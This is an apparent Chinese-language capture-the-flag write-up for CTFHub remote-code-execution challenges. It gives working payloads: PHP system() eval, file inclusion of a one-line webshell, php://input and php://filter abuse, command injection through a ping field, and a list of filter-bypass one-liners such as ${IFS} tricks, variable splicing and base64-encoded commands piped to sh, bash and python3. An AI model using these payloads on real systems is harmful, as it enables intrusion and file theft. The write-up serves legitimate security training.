分析源码,直接在URL中?cmd=system(‘ls /‘);
获得flag文件名
然后?cmd=system(‘cat flag‘);
根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。
点击页面上的shell,可以看到shell.txt的内容:
可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:
http://challenge-2f034509829299a7.sandbox.ctfhub.com:10080/?file=shell.txt
然后使用POST方式传入ctfhub=system(‘cat /fla*‘);
根据题目提示,可以查看phpinfo();的内容,结合题目的名称,查找php://input的相关设置:
所以可以使用php://input来执行命令。
使用BP抓包来传递命令:
?file=php://filter/resource=/flag
结合代码和题目的提示无过滤。
可以通过ping本地地址,然后;ls /
等命令(通过分号来执行其他命令)
要是禁用cat的话可以用less、more、tac、ca\t等绕过
{cat,flag.php}
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$‘\x20flag.php‘&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
还是先0;ls
查看当前目录
然后结合题目题目,flag_is_here肯定是一个目录,而且flag文件应该就在里面
但是题目过滤了/
,根据前面的题目可以知道,在flag中,就包含有/
,所以如果直接读取flag的内容,会被替换成$m = [];
这里可以使用base64编码来绕过
0;cd flag_is_here;cat flag_86942576714339.php |base64
得到的是一个base64编码后的值,得到后再解码即可。
过滤了与和或
127.0.0.1; base64 flag_33461333096.php
前面几个练习的综合
唯一需要额外提到的是,由于此处还过滤了
;
,所以这一点也得想办法绕过。在linux中,可以使用%0a
来绕过,但是由于在GET方式传参的时候,还会变URLencode一次,所以最好是直接在url中去使用,如果直接在input栏中使用,会因为被再次编码而导致失败
payload:
0%0acd${IFS}f***_is_here%0abase64${IFS}fl**_2239364004891.php
原文:https://www.cnblogs.com/OHuooo/p/14670603.html